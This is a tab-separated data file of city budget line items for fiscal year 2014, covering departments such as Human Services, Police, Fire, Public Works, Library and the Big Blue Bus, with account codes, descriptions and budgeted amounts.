10573	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	19951.0	0	0	0	0.0	70	193.99	0	0	0	0	0.0	20214.99
10574	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	11365.0	0	0	0	0.0	89	0.0	0	0	0	0	0.0	11454.0
10575	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	812.0	Salaries and Wages	2014	23712.0	0	0	0	0.0	298	0.0	0	0	0	0	0.0	24010.0
10576	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	85211.0	0	0	0	0.0	1088	742.82	0	0	0	0	0.0	87041.82
10577	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401001.0	SWIM CENTER-GROUP LESSONS	612.0	Charges for Service	2014	-173047.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-173047.0
10578	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401004.0	SWIM CENTER-PERMIT GROUPS	612.0	Charges for Service	2014	-154324.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-154324.0
10579	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	8576.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8576.0
10580	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2014	324.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	324.0
10581	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		EAP	804.0	Salaries and Wages	2014	2175.0	0	0	0	0.0	0	-16.0	0	0	0	0	0.0	2159.0
10582	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544390.0	OTHER COSTS	810.0	 Supplies and Expenses	2014	52521.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	52521.0
10583	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	3476.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3476.0
10584	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2014	1073.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1073.0
10585	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	882.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	882.0
10586	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	1686.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1686.0
10587	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	5615.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5615.0
10588	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	317835.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	317835.0
10589	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555940.0	GRAD NIGHT SUBSIDY	810.0	 Supplies and Expenses	2014	8752.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8752.0
10590	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2014	2434.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2434.0
10591	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2014	144.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	144.0
10592	B1	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577960.0	ARTS TRANSFER	910.0	 Supplies and Expenses	2014	100000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100000.0
10593	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555210.0	TRAINING	810.0	 Supplies and Expenses	2014	1588.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1588.0
10594	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	401801.0	PROCEEDS	622.0	Other	2014	-60000.0	0	0	0	0.0	0	60000.0	0	0	0	0	0.0	0.0
10595	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	6952.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6952.0
10596	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	4460.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4460.0
10597	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	5290.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5290.0
10598	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		DCAP	808.0	Salaries and Wages	2014	420.0	0	0	0	0.0	0	25.0	0	0	0	0	0.0	445.0
10599	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	3200.0	0	0	0	0.0	45	118.14	0	0	0	0	0.0	3363.14
10600	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	4562.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4562.0
10601	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	16961.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16961.0
10602	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	17609.0	0	0	0	0.0	0	0.0	0	0	243	0	0.0	17852.0
10603	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		EAP	808.0	Salaries and Wages	2014	30267.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	30267.0
10604	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	293346.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	293346.0
10605	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		EAP	808.0	Salaries and Wages	2014	726.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	726.0
10606	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2014	355484.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	355484.0
10607	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511748.0	DENTAL	840.0	Salaries and Wages	2014	18065.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18065.0
10608	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511748.0	DENTAL	840.0	Salaries and Wages	2014	6666.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6666.0
10609	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	275920.0	0	0	0	0.0	17219	0.0	0	0	0	0	0.0	293139.0
10610	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	27626.0	0	0	0	-213.0	367	-209.0	0	0	0	0	0.0	27571.0
10611	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	110698.0	0	0	0	1055.0	0	0.0	0	0	0	0	0.0	111753.0
10612	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2014	84615.0	0	0	0	0.0	1328	0.0	0	0	0	0	0.0	85943.0
10613	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2014	42362.0	0	0	0	-285.0	574	359.0	0	0	0	0	0.0	43010.0
10614	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	23195.0	0	0	0	0.0	317	0.0	0	0	0	0	0.0	23512.0
10615	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	407170.0	LA COUNTY PROP A O&M REIMB	610.0	Intergovernmental	2014	-28260.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-28260.0
10616	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	3287.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3287.0
10617	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2014	1666.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1666.0
10618	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	103.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	103.0
10619	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	4675.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4675.0
10620	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2014	208620.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	208620.0
10621	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	148305.0	0	0	0	0.0	1549	0.0	0	0	0	0	0.0	149854.0
10622	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	291768.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	291768.0
10623	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511743.0	MEDICAL - MISC. EMPL	840.0	Salaries and Wages	2014	780659.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	780659.0
10624	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511743.0	MEDICAL - MISC. EMPL	840.0	Salaries and Wages	2014	352245.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	352245.0
10625	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511749.0	VISION	806.0	Salaries and Wages	2014	12776.0	0	0	0	0.0	0	433.0	0	0	0	0	0.0	13209.0
10626	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511749.0	VISION	806.0	Salaries and Wages	2014	408.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	408.0
10627	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511748.0	DENTAL	804.0	Salaries and Wages	2014	7432.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7432.0
10628	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511749.0	VISION	804.0	Salaries and Wages	2014	695.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	695.0
10629	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511774.0	RETIREMENT - AS NEEDED	816.0	Salaries and Wages	2014	5885.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5885.0
10630	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511748.0	DENTAL	816.0	Salaries and Wages	2014	6985.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6985.0
10631	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511749.0	VISION	808.0	Salaries and Wages	2014	695.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	695.0
10632	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511749.0	VISION	810.0	Salaries and Wages	2014	1112.0	0	0	0	0.0	0	54.0	0	0	0	0	0.0	1166.0
10633	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2014	834.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	834.0
10634	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2014	1085.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1085.0
10635	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	2236.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2236.0
10636	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511749.0	VISION	812.0	Salaries and Wages	2014	1524.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1524.0
10637	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511749.0	VISION	812.0	Salaries and Wages	2014	4263.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4263.0
10638	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2014	128542.0	0	0	0	0.0	0	708.0	0	0	0	0	0.0	129250.0
10639	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2014	925580.0	0	0	0	0.0	17239	6042.0	0	0	0	0	0.0	948861.0
10640	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2014	66047.0	0	0	0	0.0	0	708.0	0	0	0	0	0.0	66755.0
10641	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2014	85479.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	85479.0
10642	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		DCAP	804.0	Salaries and Wages	2014	360.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	360.0
10643	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	2509.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2509.0
10644	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	3330.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3330.0
10645	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	7699.0	0	0	0	0.0	73	0.0	0	0	0	0	0.0	7772.0
10646	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	5913.0	0	0	0	0.0	79	122.0	0	0	0	0	0.0	6114.0
10647	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D[	810.0	Salaries and Wages	2014	2151.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2151.0
10648	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2014	2742.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2742.0
10649	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2014	622.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	622.0
10650	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2014	2941.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2941.0
10651	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		EAP	812.0	Salaries and Wages	2014	1096.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1096.0
10652	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		UNEMPLOYMENT	812.0	Salaries and Wages	2014	7740.0	0	0	0	0.0	103	0.0	0	0	0	0	0.0	7843.0
10653	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		EAP	812.0	Salaries and Wages	2014	2292.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2292.0
10654	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		DISABILITY INSURANCE	816.0	Salaries and Wages	2014	3236.0	0	0	0	0.0	21	0.0	0	0	0	0	0.0	3257.0
10655	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2014	2383.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2383.0
10656	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		DISABILITY INSURANCE	816.0	Salaries and Wages	2014	5258.0	0	0	0	0.0	56	0.0	0	0	0	0	0.0	5314.0
10657	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		EAP	816.0	Salaries and Wages	2014	1144.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1144.0
10658	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		DCAP	816.0	Salaries and Wages	2014	780.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	780.0
10659	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		EAP	806.0	Salaries and Wages	2014	16749.0	0	0	0	874.0	0	-42.0	0	0	0	0	0.0	17581.0
10660	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		UNEMPLOYMENT	806.0	Salaries and Wages	2014	36619.0	0	0	0	-98.0	656	124.0	0	0	0	0	0.0	37301.0
10661	B1	IS	1	General Fund	310	FIRE	315	TRAINING		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2014	534.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	534.0
10662	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		EAP	808.0	Salaries and Wages	2014	8248.0	0	0	0	0.0	0	125.0	0	0	0	0	0.0	8373.0
10663	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		EAP	808.0	Salaries and Wages	2014	618.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	618.0
10664	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402130.0	AIRPORT - LAND LEASE	650.0	Charges for Service	2014	-1512367.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1512367.0
10665	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402170.0	LANDING FEES	650.0	Charges for Service	2014	-1528082.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1528082.0
10666	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	-25000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-25000.0
10667	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		EAP		Salaries and Wages	2014	727.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	727.0
10668	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		DISABILITY INSURANCE		Salaries and Wages	2014	3820.0	0	0	0	0.0	51	0.0	0	0	0	0	0.0	3871.0
10669	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522150.0	STORMWATER MANAGEMENT		 Supplies and Expenses	2014	77317.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	77317.0
10670	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522900.0	MEMBERSHIPS AND DUES		 Supplies and Expenses	2014	2960.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2960.0
10671	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	544390.0	OTHER COSTS		 Supplies and Expenses	2014	40775.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	40775.0
10672	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	555200.0	REIMBURSE ENGINEERING OFFICE	866.0	 Supplies and Expenses	2014	3185.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3185.0
10673	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511748.0	DENTAL	804.0	Salaries and Wages	2014	16402.0	0	0	0	-972.0	0	0.0	0	0	0	0	0.0	15430.0
10674	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	269473.0	0	0	0	-20568.0	4153	891.0	0	0	0	0	0.0	253949.0
10675	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2014	2381.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2381.0
10676	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2014	750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	750.0
10677	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2014	2196.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2196.0
10678	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	522825.0	FOOD PURCHASES		 Supplies and Expenses	2014	103.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	103.0
10679	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404082.0	INTEREST - PROP 1B-BUSES	659.0	Investment Income	2014	-43430.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-43430.0
10680	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511920.0	UNIFORM / TOOL ALLOWANCE	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	30	0.0	0	0	0	0	0.0	30.0
10681	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	26071.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	26071.0
10682	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		UNEMPLOYMENT	804.0	Salaries and Wages	2014	4949.0	0	0	0	-70.0	76	0.0	0	0	0	0	0.0	4955.0
10683	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2014	1046.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1046.0
10684	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2014	6273.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6273.0
10685	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	404580.0	BAYSAVER FEES	662.0	Other	2015	-150000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-150000.0
10686	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522130.0	UTILITIES - WATER	850.0	 Supplies and Expenses	2014	9600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9600.0
10687	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	410882.0	0	0	0	0.0	0	-225.0	0	0	0	0	0.0	410657.0
10688	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	9441.0	0	0	0	0.0	101	0.0	0	0	0	0	0.0	9542.0
10689	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	7651.0	0	0	0	0.0	94	0.0	0	0	0	0	0.0	7745.0
10690	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522850.0	SPECIAL PROJECTS	806.0	 Supplies and Expenses	2014	260000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	260000.0
10691	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401005.0	SWIM CENTER-ROOM RENTALS	612.0	Charges for Service	2014	-2700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2700.0
10692	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401006.0	SWIM CENTER-SPECIAL CLASSES	612.0	Charges for Service	2014	-58867.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-58867.0
10693	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	462170.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	462170.0
10694	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	47747.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	47747.0
10695	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2014	7638.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7638.0
10696	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	223438.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	223438.0
10697	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2014	144.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	144.0
10698	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	543.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	543.0
